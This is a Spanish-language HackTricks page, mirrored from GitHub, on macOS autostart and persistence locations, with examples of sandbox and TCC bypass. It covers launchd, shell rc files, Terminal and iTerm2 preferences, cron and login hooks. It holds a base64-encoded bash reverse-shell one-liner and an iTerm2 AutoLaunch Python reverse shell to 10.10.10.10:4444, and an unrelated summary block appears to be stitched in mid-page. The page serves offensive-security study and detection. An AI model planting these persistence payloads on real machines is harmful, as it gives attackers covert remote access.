mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
1779 lines
71 KiB
Markdown
1779 lines
71 KiB
Markdown
# Inicio Automático en macOS
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
Esta sección se basa en gran medida en la serie de blogs [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), el objetivo es agregar **más Ubicaciones de Autostart** (si es posible), indicar **qué técnicas siguen funcionando** actualmente con la última versión de macOS (13.4) y especificar los **permisos** necesarios.
|
|
|
|
## Bypass de Sandbox
|
|
|
|
{% hint style="success" %}
|
|
Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox** que te permiten ejecutar algo simplemente **escribiéndolo en un archivo** y **esperando** una **acción muy común**, un **tiempo determinado** o una **acción que normalmente puedes realizar** desde dentro de un sandbox sin necesidad de permisos de root.
|
|
{% endhint %}
|
|
|
|
### Launchd
|
|
|
|
* Útil para bypass de sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
|
|
#### Ubicaciones
|
|
|
|
* **`/Library/LaunchAgents`**
|
|
* **Disparador**: Reinicio
|
|
* Se requiere root
|
|
* **`/Library/LaunchDaemons`**
|
|
* **Disparador**: Reinicio
|
|
* Se requiere root
|
|
* **`/System/Library/LaunchAgents`**
|
|
* **Disparador**: Reinicio
|
|
* Se requiere root
|
|
* **`/System/Library/LaunchDaemons`**
|
|
* **Disparador**: Reinicio
|
|
* Se requiere root
|
|
* **`~/Library/LaunchAgents`**
|
|
* **Disparador**: Volver a iniciar sesión
|
|
* **`~/Library/LaunchDemons`**
|
|
* **Disparador**: Volver a iniciar sesión
|
|
|
|
#### Descripción y Explotación
|
|
|
|
**`launchd`** es el **primer** **proceso** ejecutado por el kernel de OS X al iniciar y el último en terminar al apagar. Siempre debe tener el **PID 1**. Este proceso **leerá y ejecutará** las configuraciones indicadas en los **plists** de **ASEP** en:
|
|
|
|
* `/Library/LaunchAgents`: Agentes por usuario instalados por el administrador
|
|
* `/Library/LaunchDaemons`: Daemons de sistema instalados por el administrador
|
|
* `/System/Library/LaunchAgents`: Agentes por usuario proporcionados por Apple.
|
|
* `/System/Library/LaunchDaemons`: Daemons de sistema proporcionados por Apple.
|
|
|
|
Cuando un usuario inicia sesión, los plists ubicados en `/Users/$USER/Library/LaunchAgents` y `/Users/$USER/Library/LaunchDemons` se inician con los **permisos del usuario conectado**.
|
|
|
|
La **principal diferencia entre agentes y daemons es que los agentes se cargan cuando el usuario inicia sesión y los daemons se cargan al inicio del sistema** (ya que hay servicios como ssh que necesitan ejecutarse antes de que cualquier usuario acceda al sistema). Además, los agentes pueden usar la interfaz gráfica mientras que los daemons necesitan ejecutarse en segundo plano.
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>Label</key>
|
|
<string>com.apple.someidentifier</string>
|
|
<key>ProgramArguments</key>
|
|
<array>
|
|
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
|
|
</array>
|
|
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
|
|
<key>StartInterval</key>
|
|
<integer>800</integer> <!--Execute each 800s-->
|
|
<key>KeepAlive</key>
|
|
<dict>
|
|
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
|
|
<!--If previous is true, then re-execute in successful exit-->
|
|
</dict>
|
|
</dict>
|
|
</plist>
|
|
```
|
|
Existen casos donde un **agente necesita ser ejecutado antes del inicio de sesión del usuario**, a estos se les llama **PreLoginAgents**. Por ejemplo, esto es útil para proporcionar tecnología asistiva en el inicio de sesión. También se pueden encontrar en `/Library/LaunchAgents` (vea [**aquí**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un ejemplo).
|
|
|
|
{% hint style="info" %}
|
|
Los nuevos archivos de configuración de Daemons o Agents serán **cargados después del próximo reinicio o usando** `launchctl load <target.plist>`. Es **también posible cargar archivos .plist sin esa extensión** con `launchctl -F <file>` (sin embargo, esos archivos plist no se cargarán automáticamente después del reinicio).\
|
|
También es posible **descargar** con `launchctl unload <target.plist>` (el proceso señalado por este será terminado),
|
|
|
|
Para **asegurar** que no haya **nada** (como una anulación) **impidiendo** que un **Agente** o **Daemon** **se ejecute**, ejecute: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
|
|
{% endhint %}
|
|
|
|
Liste todos los agentes y daemons cargados por el usuario actual:
|
|
```bash
|
|
launchctl list
|
|
```
|
|
{% hint style="warning" %}
|
|
Si un plist es propiedad de un usuario, incluso si está en carpetas de sistema de daemons, la **tarea se ejecutará como el usuario** y no como root. Esto puede prevenir algunos ataques de escalada de privilegios.
|
|
{% endhint %}
|
|
|
|
### archivos de inicio de shell
|
|
|
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
|
|
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
|
|
|
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
|
|
* Pero necesitas encontrar una app con un bypass de TCC que ejecute un shell que cargue estos archivos
|
|
|
|
#### Ubicaciones
|
|
|
|
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
|
|
* **Disparador**: Abrir un terminal con zsh
|
|
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
|
|
* **Disparador**: Abrir un terminal con zsh
|
|
* Se requiere root
|
|
* **`~/.zlogout`**
|
|
* **Disparador**: Salir de un terminal con zsh
|
|
* **`/etc/zlogout`**
|
|
* **Disparador**: Salir de un terminal con zsh
|
|
* Se requiere root
|
|
* Potencialmente más en: **`man zsh`**
|
|
* **`~/.bashrc`**
|
|
* **Disparador**: Abrir un terminal con bash
|
|
* `/etc/profile` (no funcionó)
|
|
* `~/.profile` (no funcionó)
|
|
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
|
* **Disparador**: Se espera que se active con xterm, pero **no está instalado** y aun después de instalarlo se lanza este error: xterm: `DISPLAY is not set`
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Los archivos de inicio de shell se ejecutan cuando nuestro entorno de shell como `zsh` o `bash` está **iniciando**. macOS por defecto usa `/bin/zsh` en estos días, y **cada vez que abrimos `Terminal` o nos conectamos por SSH** al dispositivo, este es el entorno de shell al que accedemos. `bash` y `sh` todavía están disponibles, sin embargo, deben ser iniciados específicamente.
|
|
|
|
La página de manual de zsh, que podemos leer con **`man zsh`**, tiene una larga descripción de los archivos de inicio.
|
|
```bash
|
|
# Example executino via ~/.zshrc
|
|
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|
```
|
|
### Aplicaciones Reabiertas
|
|
|
|
{% hint style="danger" %}
|
|
Configurar la explotación indicada y cerrar sesión o incluso reiniciar no funcionó para ejecutar la app. (La app no se estaba ejecutando, quizás necesite estar en funcionamiento cuando se realizan estas acciones)
|
|
{% endhint %}
|
|
|
|
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
|
|
|
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Evasión de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
|
|
#### Ubicación
|
|
|
|
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`**
|
|
* **Disparador**: Reiniciar reabriendo aplicaciones
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Todas las aplicaciones para reabrir están dentro del plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
|
|
|
|
Entonces, para hacer que las aplicaciones reabiertas lancen tu propia aplicación, solo necesitas **añadir tu app a la lista**.
|
|
|
|
El UUID se puede encontrar listando ese directorio o con `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
|
|
|
|
Para verificar las aplicaciones que se reabrirán puedes hacer:
|
|
```bash
|
|
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
|
|
#or
|
|
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|
```
|
|
Para **agregar una aplicación a esta lista** puedes usar:
|
|
```bash
|
|
# Adding iTerm2
|
|
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
|
|
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
|
|
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
|
|
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
|
|
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
|
|
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|
```
|
|
### Preferencias de Terminal
|
|
|
|
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Evasión de TCC: [✅](https://emojipedia.org/check-mark-button)
|
|
* Terminal solía tener permisos FDA del usuario que lo usa
|
|
|
|
#### Ubicación
|
|
|
|
* **`~/Library/Preferences/com.apple.Terminal.plist`**
|
|
* **Disparador**: Abrir Terminal
|
|
|
|
#### Descripción y Explotación
|
|
|
|
En **`~/Library/Preferences`** se almacenan las preferencias del usuario en las Aplicaciones. Algunas de estas preferencias pueden contener una configuración para **ejecutar otras aplicaciones/scripts**.
|
|
|
|
Por ejemplo, el Terminal puede ejecutar un comando en el inicio:
|
|
|
|
<figure><img src="../.gitbook/assets/image (676).png" alt="" width="495"><figcaption></figcaption></figure>
|
|
|
|
Esta configuración se refleja en el archivo **`~/Library/Preferences/com.apple.Terminal.plist`** de la siguiente manera:
|
|
```bash
|
|
[...]
|
|
"Window Settings" => {
|
|
"Basic" => {
|
|
"CommandString" => "touch /tmp/terminal_pwn"
|
|
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
|
|
"FontAntialias" => 1
|
|
"FontWidthSpacing" => 1.004032258064516
|
|
"name" => "Basic"
|
|
"ProfileCurrentVersion" => 2.07
|
|
"RunCommandAsShell" => 0
|
|
"type" => "Window Settings"
|
|
}
|
|
[...]
|
|
```
|
|
Así que, si el plist de las preferencias del terminal en el sistema pudiera ser sobrescrito, entonces la funcionalidad **`open`** puede ser utilizada para **abrir el terminal y ese comando será ejecutado**.
|
|
|
|
Puedes agregar esto desde la cli con:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Add
|
|
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
|
|
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
|
|
|
|
# Remove
|
|
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
|
|
```
|
|
{% endcode %}
|
|
|
|
### Scripts de Terminal / Otras extensiones de archivo
|
|
|
|
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Evasión de TCC: [✅](https://emojipedia.org/check-mark-button)
|
|
* Terminal suele tener permisos FDA del usuario que lo utiliza
|
|
|
|
#### Ubicación
|
|
|
|
* **En cualquier lugar**
|
|
* **Disparador**: Abrir Terminal
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Si creas un script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) y lo abres, la **aplicación Terminal** se invocará automáticamente para ejecutar los comandos indicados en él. Si la aplicación Terminal tiene privilegios especiales (como TCC), tu comando se ejecutará con esos privilegios especiales.
|
|
|
|
Pruébalo con:
|
|
```bash
|
|
# Prepare the payload
|
|
cat > /tmp/test.terminal << EOF
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>CommandString</key>
|
|
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
|
|
<key>ProfileCurrentVersion</key>
|
|
<real>2.0600000000000001</real>
|
|
<key>RunCommandAsShell</key>
|
|
<false/>
|
|
<key>name</key>
|
|
<string>exploit</string>
|
|
<key>type</key>
|
|
<string>Window Settings</string>
|
|
</dict>
|
|
</plist>
|
|
EOF
|
|
|
|
# Trigger it
|
|
open /tmp/test.terminal
|
|
|
|
# Use something like the following for a reverse shell:
|
|
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
|
|
```
|
|
También puedes usar las extensiones **`.command`**, **`.tool`**, con contenido regular de scripts de shell y también serán abiertos por Terminal.
|
|
|
|
{% hint style="danger" %}
|
|
Si Terminal tiene **Acceso Completo al Disco** podrá completar esa acción (nota que el comando ejecutado será visible en una ventana de Terminal).
|
|
{% endhint %}
|
|
|
|
### Plugins de Audio
|
|
|
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
|
|
Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
|
|
|
|
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Evasión de TCC: [🟠](https://emojipedia.org/large-orange-circle)
|
|
* Podrías obtener acceso extra a TCC
|
|
|
|
#### Ubicación
|
|
|
|
* **`/Library/Audio/Plug-Ins/HAL`**
|
|
* Se requiere root
|
|
* **Disparador**: Reiniciar coreaudiod o el ordenador
|
|
* **`/Library/Audio/Plug-ins/Components`**
|
|
* Se requiere root
|
|
* **Disparador**: Reiniciar coreaudiod o el ordenador
|
|
* **`~/Library/Audio/Plug-ins/Components`**
|
|
* **Disparador**: Reiniciar coreaudiod o el ordenador
|
|
* **`/System/Library/Components`**
|
|
* Se requiere root
|
|
* **Disparador**: Reiniciar coreaudiod o el ordenador
|
|
|
|
#### Descripción
|
|
|
|
Según los writeups anteriores es posible **compilar algunos plugins de audio** y cargarlos.
|
|
|
|
### Plugins de QuickLook
|
|
|
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
|
|
|
|
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Evasión de TCC: [🟠](https://emojipedia.org/large-orange-circle)
|
|
* Podrías obtener acceso extra a TCC
|
|
|
|
#### Ubicación
|
|
|
|
* `/System/Library/QuickLook`
|
|
* `/Library/QuickLook`
|
|
* `~/Library/QuickLook`
|
|
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
|
|
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Los plugins de QuickLook pueden ejecutarse cuando **activas la vista previa de un archivo** (presionas la barra espaciadora con el archivo seleccionado en Finder) y está instalado un **plugin que soporte ese tipo de archivo**.
|
|
|
|
Es posible compilar tu propio plugin de QuickLook, colocarlo en una de las ubicaciones anteriores para cargarlo y luego ir a un archivo compatible y presionar espacio para activarlo.
|
|
|
|
### ~~Hooks de Inicio/Cierre de Sesión~~
|
|
|
|
{% hint style="danger" %}
|
|
Esto no funcionó para mí, ni con el LoginHook del usuario ni con el LogoutHook de root
|
|
{% endhint %}
|
|
|
|
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
|
|
|
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Evasión de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
|
|
#### Ubicación
|
|
|
|
* Necesitas poder ejecutar algo como `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
|
|
* Ubicado en `~/Library/Preferences/com.apple.loginwindow.plist`
|
|
|
|
Están obsoletos pero pueden usarse para ejecutar comandos cuando un usuario inicia sesión.
|
|
```bash
|
|
cat > $HOME/hook.sh << EOF
|
|
#!/bin/bash
|
|
echo 'My is: \`id\`' > /tmp/login_id.txt
|
|
EOF
|
|
chmod +x $HOME/hook.sh
|
|
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
|
|
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
|
|
```
|
|
Esta configuración se almacena en `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist`
|
|
```bash
|
|
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
|
|
{
|
|
LoginHook = "/Users/username/hook.sh";
|
|
LogoutHook = "/Users/username/hook.sh";
|
|
MiniBuddyLaunch = 0;
|
|
TALLogoutReason = "Shut Down";
|
|
TALLogoutSavesState = 0;
|
|
oneTimeSSMigrationComplete = 1;
|
|
}
|
|
```
|
|
Para eliminarlo:
|
|
```bash
|
|
defaults delete com.apple.loginwindow LoginHook
|
|
defaults delete com.apple.loginwindow LogoutHook
|
|
```
|
|
El del usuario root se almacena en **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
|
|
|
|
## Bypass Condicional de Sandbox
|
|
|
|
{% hint style="success" %}
|
|
Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox** que te permiten ejecutar algo simplemente **escribiéndolo en un archivo** y **esperando condiciones no muy comunes** como programas específicos instalados, acciones de usuarios "poco comunes" o entornos.
|
|
{% endhint %}
|
|
|
|
### Cron
|
|
|
|
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
|
|
|
|
* Útil para bypass de sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Sin embargo, necesitas poder ejecutar el binario `crontab`
|
|
* O ser root
|
|
* Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
|
|
|
#### Ubicación
|
|
|
|
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
|
|
* Se requiere root para acceso directo de escritura. No se requiere root si puedes ejecutar `crontab <archivo>`
|
|
* **Disparador**: Depende del trabajo cron
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Lista los trabajos cron del **usuario actual** con:
|
|
```bash
|
|
crontab -l
|
|
```
|
|
También puedes ver todos los trabajos de cron de los usuarios en **`/usr/lib/cron/tabs/`** y **`/var/at/tabs/`** (requiere root).
|
|
|
|
En MacOS se pueden encontrar varias carpetas que ejecutan scripts con **cierta frecuencia** en:
|
|
```bash
|
|
# The one with the cron jobs is /usr/lib/cron/tabs/
|
|
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
|
```
|
|
Aquí puedes encontrar los **cron** **jobs** regulares, los **at** **jobs** (no muy utilizados) y los **periodic** **jobs** (utilizados principalmente para limpiar archivos temporales). Los trabajos periódicos diarios se pueden ejecutar, por ejemplo, con: `periodic daily`.
|
|
|
|
Para agregar un **user cronjob programatically** es posible utilizar:
|
|
```bash
|
|
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
|
|
crontab /tmp/cron
|
|
```
|
|
### iTerm2
|
|
|
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
|
|
|
|
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Evasión de TCC: [✅](https://emojipedia.org/check-mark-button)
|
|
* iTerm2 solía tener permisos TCC concedidos
|
|
|
|
#### Ubicaciones
|
|
|
|
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
|
|
* **Disparador**: Abrir iTerm
|
|
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
|
|
* **Disparador**: Abrir iTerm
|
|
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
|
|
* **Disparador**: Abrir iTerm
|
|
|
|
#### Descripción y Explotación
|
|
|
|
Los scripts almacenados en **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** se ejecutarán. Por ejemplo:
|
|
```bash
|
|
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
|
|
#!/bin/bash
|
|
touch /tmp/iterm2-autolaunch
|
|
EOF
|
|
|
|
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
|
```
|
|
```markdown
|
|
# Ubicaciones de inicio automático en macOS
|
|
|
|
macOS utiliza varios métodos para iniciar programas automáticamente. Esto es útil tanto para programas legítimos como para malware que quiere persistir después de un reinicio. A continuación, se presentan algunas ubicaciones y métodos comunes que se utilizan para la persistencia.
|
|
|
|
## Carpetas de inicio
|
|
|
|
- `/Library/StartupItems`: Obsoleto en las versiones modernas de macOS, pero aún puede contener elementos en sistemas más antiguos.
|
|
- `~/Library/StartupItems`: Lo mismo se aplica a la carpeta de inicio del usuario.
|
|
|
|
## Elementos de inicio de sesión
|
|
|
|
Los programas pueden agregarse a los elementos de inicio de sesión del usuario a través de las Preferencias del Sistema o programáticamente con scripts.
|
|
|
|
## Launch Agents y Launch Daemons
|
|
|
|
- `~/Library/LaunchAgents`: Contiene agentes de lanzamiento a nivel de usuario.
|
|
- `/Library/LaunchAgents`: Contiene agentes de lanzamiento para todos los usuarios.
|
|
- `/Library/LaunchDaemons`: Contiene daemons de lanzamiento que se ejecutan con privilegios de root.
|
|
- `/System/Library/LaunchAgents`: Normalmente reservado para agentes de lanzamiento del sistema.
|
|
- `/System/Library/LaunchDaemons`: Normalmente reservado para daemons de lanzamiento del sistema.
|
|
|
|
Los archivos en estas ubicaciones son archivos plist que macOS utiliza para gestionar servicios.
|
|
|
|
## Cron Jobs
|
|
|
|
Aunque `cron` está obsoleto y se recomienda utilizar `launchd`, algunos programas todavía utilizan `cron jobs` para ejecutarse en intervalos regulares.
|
|
|
|
## Scripts de inicio y cierre
|
|
|
|
Los scripts pueden configurarse para ejecutarse durante el inicio o cierre del sistema a través de `rc.local` y `rc.shutdown`.
|
|
|
|
## Extensiones del Kernel
|
|
|
|
Las extensiones del kernel (`kexts`) pueden cargarse automáticamente para modificar el comportamiento del sistema a bajo nivel.
|
|
|
|
## Aplicaciones de ayuda
|
|
|
|
Algunas aplicaciones instalan componentes de ayuda que se ejecutan automáticamente.
|
|
|
|
## Binarios firmados
|
|
|
|
Los binarios firmados con un certificado válido pueden ejecutarse automáticamente sin alertar al usuario, dependiendo de la configuración de seguridad.
|
|
|
|
## Tareas programadas
|
|
|
|
Las tareas pueden programarse para ejecutarse automáticamente utilizando `launchd` o herramientas de terceros.
|
|
|
|
## Servicios de accesibilidad
|
|
|
|
Las aplicaciones que requieren controlar otras aplicaciones pueden agregarse a los servicios de accesibilidad para ejecutarse automáticamente.
|
|
|
|
## Plugins y extensiones de aplicaciones
|
|
|
|
Los plugins y extensiones de aplicaciones pueden cargarse automáticamente y ejecutar código sin el conocimiento del usuario.
|
|
|
|
## Scripts de aplicación
|
|
|
|
Los scripts asociados con aplicaciones específicas pueden configurarse para ejecutarse automáticamente.
|
|
|
|
## Eventos de AppleScript y Automator
|
|
|
|
Los eventos de AppleScript y Automator pueden desencadenar la ejecución automática de scripts.
|
|
|
|
## Variables de entorno
|
|
|
|
Las variables de entorno, como `DYLD_INSERT_LIBRARIES`, pueden utilizarse para alterar el comportamiento de los programas al inicio.
|
|
|
|
## Archivos de configuración de red
|
|
|
|
Los archivos de configuración de red, como `~/.ssh/rc`, pueden contener scripts que se ejecutan automáticamente al establecer una conexión SSH.
|
|
|
|
## Perfiles de configuración
|
|
|
|
Los perfiles de configuración pueden instalarse para cambiar la configuración del sistema y ejecutar comandos automáticamente.
|
|
|
|
## Aplicaciones persistentes en el Dock
|
|
|
|
Las aplicaciones que están configuradas para permanecer en el Dock pueden tener opciones para reiniciarse automáticamente.
|
|
|
|
## Extensiones de Safari
|
|
|
|
Las extensiones de Safari pueden instalarse y ejecutarse automáticamente, potencialmente modificando la experiencia de navegación sin el consentimiento del usuario.
|
|
|
|
## Widgets del Dashboard
|
|
|
|
Los widgets del Dashboard pueden ejecutarse automáticamente y ejecutar código en el contexto del usuario.
|
|
|
|
## Aplicaciones de terceros
|
|
|
|
Las aplicaciones de terceros pueden tener sus propios mecanismos de persistencia que no están cubiertos aquí.
|
|
|
|
La comprensión de estas ubicaciones y métodos es crucial para la seguridad y el análisis forense en macOS. Los administradores de sistemas y los profesionales de seguridad deben estar familiarizados con ellos para proteger los sistemas y detectar posibles intrusiones.
|
|
```
|
|
```bash
|
|
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
|
#!/usr/bin/env python3
|
|
import iterm2,socket,subprocess,os
|
|
|
|
async def main(connection):
|
|
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
|
|
async with iterm2.CustomControlSequenceMonitor(
|
|
connection, "shared-secret", r'^create-window$') as mon:
|
|
while True:
|
|
match = await mon.async_get()
|
|
await iterm2.Window.async_create(connection)
|
|
|
|
iterm2.run_forever(main)
|
|
EOF
|
|
```
|
|
El script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** también se ejecutará:
|
|
```bash
|
|
do shell script "touch /tmp/iterm2-autolaunchscpt"
|
|
```
|
|
Las preferencias de iTerm2 ubicadas en **`~/Library/Preferences/com.googlecode.iterm2.plist`** pueden **indicar un comando a ejecutar** cuando se abre la terminal iTerm2.
|
|
|
|
Esta configuración se puede ajustar en las preferencias de iTerm2:
|
|
|
|
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
Y el comando se refleja en las preferencias:
|
|
```bash
|
|
plutil -p com.googlecode.iterm2.plist
|
|
{
|
|
[...]
|
|
"New Bookmarks" => [
|
|
0 => {
|
|
[...]
|
|
"Initial Text" => "touch /tmp/iterm-start-command"
|
|
```
|
|
Puedes configurar el comando a ejecutar con:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Add
|
|
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
|
|
|
|
# Call iTerm
|
|
open /Applications/iTerm.app/Contents/MacOS/iTerm2
|
|
|
|
# Remove
|
|
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
|
|
```
|
|
{% endcode %}
|
|
|
|
{% hint style="warning" %}
|
|
Es altamente probable que existan **otras formas de abusar de las preferencias de iTerm2** para ejecutar comandos arbitrarios.
|
|
{% endhint %}
|
|
|
|
### xbar
|
|
|
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
|
|
|
|
* Útil para evadir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
|
* Pero xbar debe estar instalado
|
|
* Evasión de TCC: [✅](https://emojipedia.org/check-mark-button)
|
|
* Solicita permisos de Accesibilidad
|
|
|
|
#### Ubicación
|
|
|
|
* **`~/Library/Application\ Support/xbar/plugins/`**
|
|
* **Disparador**: Una vez que se ejecuta xbar
|
|
|
|
#### Descripción
|
|
|
|
Si el popular programa [**xbar**](https://github.com/matryer/xbar) está instalado, es posible escribir un script de shell en **`~/Library/Application\ Support/xbar/plugins/`** que se ejecutará cuando xbar se inicie:
|
|
```bash
|
|
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
|
|
#!/bin/bash
|
|
touch /tmp/xbar
|
|
EOF
|
|
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|
```
|
|
### Hammerspoon
|
|
|
|
